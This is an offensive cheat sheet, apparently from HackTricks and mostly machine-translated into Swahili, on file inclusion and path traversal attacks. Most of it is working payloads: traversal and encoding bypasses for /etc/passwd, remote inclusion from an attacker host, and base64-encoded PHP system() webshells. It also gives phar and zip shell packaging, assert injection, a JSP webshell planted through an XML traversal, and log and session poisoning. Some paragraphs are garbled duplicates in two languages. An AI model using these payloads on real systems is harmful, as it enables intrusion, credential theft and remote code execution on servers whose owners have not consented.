File Inclusion/Path traversal
Reading time: 29 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
File Inclusion
Remote File Inclusion (RFI): Faili inapakuliwa kutoka server ya mbali (Bora: Unaweza kuandika code na server itaitekeleza). Katika PHP hii imezimwa kwa chaguo-msingi (allow_url_include).
Local File Inclusion (LFI): Server inapakua faili ya ndani.
Udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa namna fulani faili itakayopakiwa na server.
PHP functions zilizo hatarini: require, require_once, include, include_once
Chombo kizuri cha ku-exploit udhaifu huu: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Baada ya kuchanganya orodha kadhaa za *nix LFI na kuongeza njia zaidi, niliunda hii:
Pia jaribu kubadilisha /
kwa \
Pia jaribu kuongeza ../../../../../
Orodha inayotumia mbinu kadhaa kupata faili /etc/password (ili kukagua kama udhaifu upo) inapatikana here
Windows
Mchanganyiko wa wordlists tofauti:
Pia jaribu kubadilisha /
kwa \
Pia jaribu kuondoa C:/
na kuongeza ../../../../../
Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (ili kukagua kama udhaifu upo) inapatikana here
OS X
Angalia orodha ya LFI ya linux.
Msingi wa LFI na bypasses
Mfano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences zimeondolewa bila kutumia recursion
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass kuongeza herufi zaidi mwishoni mwa string iliyotolewa (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Hii imetatuliwa tangu PHP 5.4
Encoding
Unaweza kutumia encodings zisizo za kawaida kama double URL encode (na nyingine):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Kutoka kwenye kabrasha iliyopo
Labda back-end inakagua njia ya kabrasha:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Kuchunguza saraka za mfumo wa faili kwenye seva
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudia ili kubaini saraka, sio tu faili, kwa kutumia mbinu fulani. Mchakato huu unajumuisha kubaini kina cha saraka na kuchunguza uwepo wa saraka maalum. Hapa chini kuna njia ya kina ya kufanikisha hili:
- Tambua Kina cha Saraka: Tambua kina cha saraka yako ya sasa kwa kupata kwa mafanikio faili
/etc/passwd
(inayotumika ikiwa seva inategemea Linux). Mfano wa URL unaweza kutengenezwa kama ifuatavyo, ukionyesha kina cha tatu:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Chunguza Folda: Ongeza jina la folda inayoshukiwa (kwa mfano,
private
) kwenye URL, kisha rudi kwenye/etc/passwd
. Ngazi ya ziada ya directory inahitaji kuongeza depth kwa moja:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Tafsiri Matokeo: Jibu la seva linaonyesha ikiwa kabrasha lipo:
- Hitilafu / Hakuna Matokeo: Kabrasha
private
huenda halipo mahali ulilotajwa. - Maudhui ya
/etc/passwd
: Upo wa kabrashaprivate
umethibitishwa.
- Uchunguzi wa Kurudia: Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa saraka ndogo au faili kwa kutumia mbinu ile ile au njia za kawaida za Local File Inclusion (LFI).
Kwa kuchunguza saraka katika maeneo tofauti kwenye mfumo wa faili, rekebisha payload ipasavyo. Kwa mfano, ili kukagua kama /var/www/
ina kabrasha private
(ikiwa saraka ya sasa iko kwa kina cha 3), tumia:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation ni mbinu inayotumika kubadilisha njia za faili katika program za wavuti. Mara nyingi hutumika kufikia faili zilizokatwa kwa kuruka baadhi ya hatua za usalama ambazo huongeza herufi zaidi mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na kipengele cha usalama, bado inaelekeza kwenye faili inayotakiwa.
Katika PHP, uwakilishi tofauti wa njia ya faili unaweza kutazamwa sawa kutokana na muundo wa mfumo wa faili. Kwa mfano:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
are all treated as the same path.- Wakati herufi 6 za mwisho ni
passwd
, kuongeza/
(kuwapasswd/
) haibadilishi faili linalolengwa. - Vivyo hivyo, ikiwa
.php
imeongezwa kwenye njia ya faili (kamashellcode.php
), kuongeza/.
mwishoni haitabadilisha faili inayofunguliwa.
Mifano iliyotolewa inaonyesha jinsi ya kutumia path truncation kufikia /etc/passwd
, lengo la kawaida kutokana na yaliyomo nyeti (taarifa za akaunti za watumiaji):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Katika matukio haya, idadi ya traversals inayohitajika inaweza kuwa takriban 2027, lakini idadi hii inaweza kubadilika kulingana na usanidi wa server.
- Kutumia Dot Segments na Characters Za Ziada: Traversal sequences (
../
) zilizochanganywa na dot segments za ziada na characters zinaweza kutumika kusogea kwenye file system, kwa ufanisi zikimpuuza server kuambatisha strings zilizoongezwa. - Kukadiria Idadi ya Traversals Zinazohitajika: Kupitia jaribio na makosa, mtu anaweza kupata idadi sahihi ya
../
zinazohitajika kufika root directory na kisha/etc/passwd
, kuhakikisha kwamba strings zilizoongezwa (kama.php
) zimetolewa lakini path inayotakikana (/etc/passwd
) inabaki kamili. - Kuanza na Fake Directory: Ni desturi ya kawaida kuanza path na directory isiyopo (kama
a/
). Mbinu hii hutumiwa kama tahadhari au kutimiza mahitaji ya logic ya server katika utoaji maana wa paths.
Unapotumia path truncation techniques, ni muhimu kuelewa tabia ya server ya kutafsiri paths na muundo wa filesystem. Kila tukio linaweza kuhitaji mbinu tofauti, na upimaji mara nyingi unahitajika ili kupata njia yenye ufanisi zaidi.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Katika php hii imezimwa kwa chaguo-msingi kwa sababu allow_url_include
iko Off. Inahitaji kuwa On ili ifanye kazi, na katika hali hiyo unaweza kujumuisha faili la PHP kutoka kwenye server yako na kupata RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Ikiwa kwa sababu fulani allow_url_include
iko On, lakini PHP inafanya filtering kwa ufikaji wa kurasa za wavuti za nje, kulingana na chapisho hili, unaweza kutumia kwa mfano protokoli ya data na base64 ku-decode code ya PHP iliyokuwa b64 na kupata RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Katika msimbo uliotangulia, +.txt
ya mwisho iliongezwa kwa sababu attacker alihitaji string iliyoishia kwa .txt
, hivyo string inaishia nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na code halisi ya PHP itajumuishwa (na kwa hivyo, itatekelezwa).
Mfano mwingine bila kutumia protocol ya php://
ungekuwa:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Kipengele mzizi la Python
Katika Python, msimbo kama huu:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Ikiwa mtumiaji atapitisha absolute path kwa file_name
, njia ya awali inaondolewa tu:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Hii ni tabia iliyokusudiwa kulingana na the docs:
Ikiwa kipengee ni absolute path, vipengele vyote vya awali vinatupwa na kuunganishwa kunaendelea kutoka kwenye kipengee cha absolute path.
Java: Orodha za directories
Inaonekana kwamba ikiwa una Path Traversal katika Java na unaomba directory badala ya faili, orodha ya directory inarudishwa. Hii haitatokea katika lugha nyingine (afaik).
Vigezo 25 Bora
Hapa kuna orodha ya vigezo 25 bora ambavyo vinaweza kuwa dhaifu kwa local file inclusion (LFI) vulnerabilities (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI kutumia PHP wrappers na protokoli
php://filter
PHP filters zinaruhusu kufanya operesheni za msingi za mabadiliko kwenye data kabla ya kusomwa au kuandikwa. Kuna aina 5 za filters:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Ondoa tags kutoka kwenye data (kila kitu kati ya herufi "<" na ">" )- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Inabadilisha kuwa encoding tofauti (convert.iconv.<input_enc>.<output_enc>
). Ili kupata orodha ya encodings zote zinazoungwa mkono endesha kwenye console:iconv -l
warning
Abusing the convert.iconv.*
conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Inabana maudhui (useful if exfiltrating a lot of info)zlib.inflate
: Inafungua data iliyobanwa- Encryption Filters
mcrypt.*
: Imepitwamdecrypt.*
: Imepitwa- Other Filters
- Ukiendesha katika PHP
var_dump(stream_get_filters());
utaweza kupata baadhi ya filters zisizotarajiwa: consumed
dechunk
: hurejesha HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Sehemu "php://filter" haizingatii herufi kubwa/ndogo
Kutumia php filters as oracle kusoma faili yoyote
In this post inatoa mbinu ya kusoma faili ya ndani bila kupata output kurudishwa na server. Mbinu hii inategemea boolean exfiltration of the file (char by char) using php filters as oracle. Hii ni kwa sababu php filters zinaweza kutumika kufanya text kuwa kubwa vya kutosha ili php itoke na exception.
Katika post ya awali kuna maelezo ya kina ya mbinu, lakini hapa kuna muhtasari mfupi:
- Tumia codec
UCS-4LE
ili kuweka herufi ya kwanza ya maandishi mwanzoni na kufanya ukubwa wa string kuongezeka kwa kasi ya eksponenti. - Hii itatumika kuzalisha text kubwa sana ikiwa herufi ya mwanzo inakisia kwa usahihi kiasi kwamba php itasababisha error
- The dechunk filter itakuwa inaondoa kila kitu ikiwa char ya kwanza si hexadecimal, hivyo tunaweza kujua ikiwa char ya kwanza ni hex.
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi inayokisiwa), itaturuhusu kukisia herufi mwanzoni mwa text kwa kuona wakati tunapofanya mabadiliko ya kutosha kuifanya isiwe karakteri ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litalifanya php kutoa error.
- Codec convert.iconv.UNICODE.CP930 hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni
a
kwa mfano, kwa sababu tukitumia mara 6 codec hii a->b->c->d->e->f->g herufi haitakuwa tena karakteri ya hexadecimal, hivyo dechunk haitaiondoa na php error itachochewa kwa sababu inazidishwa na bomu la awali. - Kwa kutumia transform nyingine kama rot13 mwanzoni inawezekana leak herufi nyingine kama n, o, p, q, r (na codec nyingine zinaweza kutumika kusogeza herufi nyingine katika hex range).
- Wakati char ya mwanzo ni namba inahitajika kuitumia base64 encode na leak herufi 2 za kwanza ili leak namba hiyo.
- Tatizo la mwisho ni kuona jinsi ya leak zaidi ya herufi ya mwanzo. Kwa kutumia order memory filters kama convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za text.
- Na ili kuweza kupata further data wazo ni kuzalisha 2 bytes za junk data mwanzoni kwa kutumia convert.iconv.UTF16.UTF16, kisha tumia UCS-4LE ili kuifanya ipivot na 2 bytes zinazofuata, na delete data hadi kufikia junk data (hii itaondoa bytes 2 za kwanza za text ya mwanzo). Endelea kufanya hivyo hadi utakapofika sehemu unayotaka leak.
Katika post pia kulikuwa na tool ya kufanya hili moja kwa moja: php_filters_chain_oracle_exploit.
php://fd
Wrapper hii inaruhusu kufikia file descriptors ambazo process imezifungua. Inaweza kuwa muhimu exfiltrate yaliyomo ya opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Unaweza pia kutumia php://stdin, php://stdout na php://stderr kufikia vitambulisho vya faili 0, 1 na 2 mtawalia (sijui jinsi hii inaweza kuwa ya msaada katika shambulio)
zip:// and rar://
Pakia faili la Zip au Rar lenye PHPShell ndani na uifikie.
Ili uweze kutumia rar protocol vibaya, lazima iwe imeamilishwa maalum.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Kumbuka kwamba itifaki hii imezuiwa na mipangilio ya php allow_url_open
na allow_url_include
expect://
Expect lazima iwe imewezeshwa. Unaweza kutekeleza code ukitumia hii:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Taja payload yako katika vigezo vya POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Faili la .phar
linaweza kutumiwa kutekeleza msimbo wa PHP wakati programu ya wavuti inapotumia kazi kama include
kwa ajili ya kupakia faili. Kipande cha msimbo wa PHP kilichoonyeshwa hapa chini kinaonyesha utengenezaji wa faili la .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Ili kuunda faili ya .phar
, amri ifuatayo inapaswa kutekelezwa:
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
Katika utekelezaji, faili inayoitwa test.phar
itaundwa, ambayo inaweza kutumika ku-exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
Katika kesi ambapo LFI inasoma tu faili bila kutekeleza PHP code ndani yake — kupitia functions kama file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, au filesize()
— inaweza kujaribu exploitation ya deserialization vulnerability. Udhaifu huu unahusiana na kusoma faili kwa kutumia protocol ya phar
.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Kwa uelewa wa kina wa jinsi ya ku-exploit deserialization vulnerabilities katika muktadha wa faili za .phar
, rejea hati iliyo linkiwa hapa chini:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system
.
It was possible to alloc chunks of specific sizes abusing more php filters.
Ilikuwa inawezekana kutumia mbaya any arbitrary file read from PHP that supports php filters ili kupata RCE. Maelezo ya kina yanaweza ku found in this post.
Muhtasari mfupi: 3 byte overflow kwenye heap ya PHP ulitumiwa vibaya ili alter the chain of free chunks za ukubwa fulani ili kuweza write anything in any address, hivyo hook iliongezwa ili kuita system
.
Ilikuwa inawezekana ku-alloc chunks za ukubwa maalum kwa kutumia vibaya php filters zaidi.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
— Andika kwenye memory au kwenye faili ya muda (sijui jinsi hili linaweza kuwa muhimu katika file inclusion attack) - file:// — Accessing local filesystem
— Kupata local filesystem - http:// — Accessing HTTP(s) URLs
— Kupata HTTP(s) URLs - ftp:// — Accessing FTP(s) URLs
— Kupata FTP(s) URLs - zlib:// — Compression Streams
— Compression Streams - glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
— Inatafuta pathnames zinazolingana na pattern (haiwezi kurudisha kitu kinachoweza kuchapishwa, kwa hivyo sio muhimu sana hapa) - ssh2:// — Secure Shell 2
— Secure Shell 2 - ogg:// — Audio streams (Not useful to read arbitrary files)
— Audio streams (Sio ya msaada kusoma arbitrary files)
LFI via PHP's 'assert'
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
Local File Inclusion (LFI) hatari katika PHP ni kubwa hasa wakati wa kushughulika na function ya 'assert', ambayo inaweza kutekeleza code iliyomo ndani ya strings. Hii ni tatizo hasa ikiwa input inayojumuisha wahusika wa directory traversal kama ".." inakaguliwa lakini haijasafishwa ipasavyo.
For example, PHP code might be designed to prevent directory traversal like so:
Kwa mfano, code ya PHP inaweza kubuniwa kuzuia directory traversal kama ifuatavyo:
assert("strpos('$file', '..') === false") or die("");
Ingawa hili linalenga kuzuia traversal, bila kutarajia linaunda njia ya code injection. Ili kutekeleza exploit hii kwa kusoma yaliyomo ya faili, mdukuzi anaweza kutumia:
' and die(highlight_file('/etc/passwd')) or '
Vivyo hivyo, kwa kutekeleza amri zozote za mfumo, mtu anaweza kutumia:
' and die(system("id")) or '
Ni muhimu URL-encode these payloads.
PHP Blind Path Traversal
warning
Mbinu hii inahusiana na kesi ambapo wewe control njia ya file path ya PHP function ambayo itafanya access a file lakini hautaona yaliyomo ya faili (kama mwito rahisi kwa file()
) na yaliyomo hayajaonyeshwa.
In this incredible post imeelezwa jinsi blind path traversal inaweza kutumika kupitia PHP filter kuweza exfiltrate the content of a file via an error oracle.
Kwa muhtasari, mbinu inatumia "UCS-4LE" encoding kufanya yaliyomo ya faili kuwa kubwa kiasi kwamba PHP function opening faili itasababisha error.
Kisha, ili ku-leak char ya kwanza filter dechunk
inatumiwa pamoja na nyingine kama base64 au rot13 na hatimaye filters convert.iconv.UCS-4.UCS-4LE na convert.iconv.UTF16.UTF-16BE zinatumika ili place other chars at the beggining and leak them.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Kwa maelezo ya kiufundi angalia makala iliyotajwa!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Wakati server-side code inayopokea/uploads faili inajenga destination path kwa kutumia data inayodhibitiwa na mtumiaji (mfano, filename au URL) bila canonicalising na validating, segments za ..
na absolute paths zinaweza kutoroka directory lililokusudiwa na kusababisha arbitrary file write. Ikiwa unaweza kuweka payload chini ya directory inayoweza kuonekana kwenye web, kawaida unapata unauthenticated RCE kwa ku-drop webshell.
Typical exploitation workflow:
- Tambua write primitive kwenye endpoint au background worker inayokubali path/filename na kuandika yaliyomo kwenye disk (mf. message-driven ingestion, XML/JSON command handlers, ZIP extractors, n.k.).
- Baini web-exposed directories. Mifano ya kawaida:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Apache/PHP:
- Tengeneza traversal path itakayochonga kutoka storage directory iliyokusudiwa hadi webroot, ukijumuisha webshell yako.
- Tembelea payload iliyowekwa na utekeleze amri.
Vidokezo:
- Service iliyo vunulika inayofanya write inaweza kusikiliza kwenye port isiyo-HTTP (mf. JMF XML listener kwenye TCP 4004). Portal kuu ya web (port tofauti) baadaye itahudumia payload yako.
- Katika Java stacks, file writes hizi mara nyingi zimetekelezwa kwa concatenation rahisi ya
File
/Paths
. Ukosefu wa canonicalisation/allow-listing ndilo doa kuu.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Uimarishaji unaowazuia aina hii ya mdudu:
- Thibitisha njia kuwa canonical na idhibitishe kuwa ni tanzu ya directory ya msingi iliyoorodheshwa.
- Kataa njia yoyote yenye
..
, absolute roots, au drive letters; pendelea majina ya faili yaliyotengenezwa. - Endesha writer kama akaunti yenye ruhusa ndogo na gawanya directory za kuandika kutoka kwa served roots.
Remote File Inclusion
Imeelezewa hapo awali, follow this link.
Via Apache/Nginx log file
Ikiwa server ya Apache au Nginx iko nyeti kwa LFI ndani ya include function unaweza kujaribu kufikia /var/log/apache2/access.log
or /var/log/nginx/access.log
, kuweka ndani ya user agent au ndani ya GET parameter php shell kama <?php system($_GET['c']); ?>
na kuingiza faili hiyo
warning
Tambua kwamba ikiwa utatumia double quotes kwa shell badala ya simple quotes, double quotes zitasahihishwa kwa ajili ya string "quote;", PHP itatoa error hapo na hakuna kitu kingine kitatekelezwa.
Pia, hakikisha unaandika payload kwa usahihi au PHP itatoa error kila mara itakapo jaribu kupakia faili ya log na hautakuwa na fursa ya pili.
Hii pia inaweza kufanywa katika logs nyingine lakini kuwa mwangalifu, code ndani ya logs inaweza kuwa URL encoded na hii inaweza kuharibu Shell. Header authorisation "basic" ina "user:password" kwa Base64 na inakwekwa ndani ya logs. PHPShell inaweza kuingizwa ndani ya header hii.
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Kupitia Barua pepe
Tuma barua kwa akaunti ya ndani (user@localhost) yenye PHP payload yako kama <?php echo system($_REQUEST["cmd"]); ?>
na jaribu kujumuisha barua ya mtumiaji kwa njia kama /var/mail/<USERNAME>
au /var/spool/mail/<USERNAME>
Kupitia /proc//fd/
- Pakia shells nyingi (kwa mfano: 100)
- Jumuisha http://example.com/index.php?page=/proc/$PID/fd/$FD, ambapo $PID = PID ya mchakato (inaweza kupatikana kwa brute force) na $FD file descriptor (inaweza kupatikana kwa brute force pia)
Kupitia /proc/self/environ
Kama faili ya log, tuma payload kwenye User-Agent; itaonekana ndani ya /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Kupitia upload
Ikiwa unaweza upload faili, just inject shell payload ndani yake (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Ili kudumisha faili iwe rahisi kusoma, ni bora kuingiza katika metadata ya picha/doc/pdf
Kupitia upakiaji wa Zip file
Upakia faili la ZIP lenye PHP shell iliyobanwa (compressed) kisha ufikie:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Kupitia PHP sessions
Angalia ikiwa tovuti inatumia PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Katika PHP sessions hizi zinahifadhiwa katika /var/lib/php5/sess\[PHPSESSID]_ mafaili
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Weka cookie kuwa <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Tumia LFI kujumuisha faili ya session ya PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Kupitia ssh
Ikiwa ssh inafanya kazi, angalia ni mtumiaji gani anatumika (/proc/self/status & /etc/passwd) na jaribu kufikia <HOME>/.ssh/id_rsa
Kupitia vsftpd logs
The logs for the FTP server vsftpd are located at /var/log/vsftpd.log. Katika tukio ambapo kuna udhaifu wa Local File Inclusion (LFI), na uwezekano wa kufikia server ya vsftpd iliyo wazi, hatua zifuatazo zinaweza kuzingatiwa:
- Ingiza PHP payload kwenye username field wakati wa mchakato wa login.
- Baada ya injection, tumia LFI kupata logs za server kutoka /var/log/vsftpd.log.
Kupitia php base64 filter (using base64)
Kama ilivyoonyeshwa katika this article, PHP base64 filter just ignore Non-base64. Unaweza kutumia hilo kupita ukaguzi wa file extension: ikiwa utatoa base64 inayomalizika na ".php", itapuuza tu "." na kuongeza "php" kwenye base64. Hapa kuna mfano wa payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Kupitia php filters (hakuna faili inahitajika)
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
Kupitia segmentation fault
Upload a file that will be stored as temporary in /tmp
, then in the same request, trigger a segmentation fault, and then the temporary file won't be deleted and you can search for it.
LFI2RCE via Segmentation Fault
Kupitia Nginx temp file storage
If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:
Kupitia PHP_SESSION_UPLOAD_PROGRESS
If you found a Local File Inclusion even if you don't have a session and session.auto_start
is Off
. If you provide the PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
